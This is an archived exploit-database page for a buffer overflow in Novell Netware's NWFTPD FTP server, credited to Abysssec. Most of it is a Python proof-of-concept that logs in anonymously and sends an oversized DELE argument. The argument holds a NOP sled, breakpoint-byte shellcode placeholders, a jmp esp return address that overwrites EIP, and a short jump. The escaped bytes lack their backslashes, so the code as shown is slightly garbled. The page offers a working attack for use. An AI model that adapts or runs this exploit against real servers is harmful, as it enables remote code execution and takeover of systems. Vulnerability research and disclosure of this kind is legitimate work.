[webapps / 0day] - Novell Netware NWFTPD RMD/RNFR/DELE Argum
Posted on 06 September 2010
<!DOCTYPE html PUBLIC '-//W3C//DTD XHTML 1.0 Strict//EN' 'http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd'><html xmlns='http://www.w3.org/1999/xhtml'><head><meta http-equiv='Content-Type' content='text/html; charset=utf-8' /><meta http-equiv='Content-Language' content='en' /><title>Novell Netware NWFTPD RMD/RNFR/DELE Argument Parsing Bof | Inj3ct0r - exploit database : vulnerability : 0day : shellcode</title><meta name='description' content='Exploit category: webapps / 0day | Exploit author: Abysssec' /><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon' /><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss' /><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></head><body><pre>======================================================== Novell Netware NWFTPD RMD/RNFR/DELE Argument Parsing Bof ======================================================== Title : Novell Netware NWFTPD RMD/RNFR/DELE Argument Parsing Buffer overflow Version : NWFTPD.NLM 5.09.02 (Netware 6.5 – SP8) Analysis : http://www.abysssec.com Vendor : http://www.Novell.com Impact : Critical Contact : shahin [at] abysssec.com , info [at] abysssec.com Twitter : @abysssec ''' from ftplib import FTP import sys try: netwareServerIp = '127.0.0.1' ftp = FTP(netwareServerIp) ftp.login('anonymous','a@a') buffer = "/" buffer += "x90"*107 #nops buffer += "xcc"*413 #shellcode part2 = 413 byte buffer += "xb9xa4xe0x91" #EIP - jmp esp from nwftpd.nlm module buffer += "xcc"*124 #shellcode part1 = 124 byte buffer += "x08xebx90x90x90x90" #short jmp to shellcode part2 ftp.voidcmd('DELE ' + buffer) except Exception,err: print err # <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-09-06]</pre></body></html>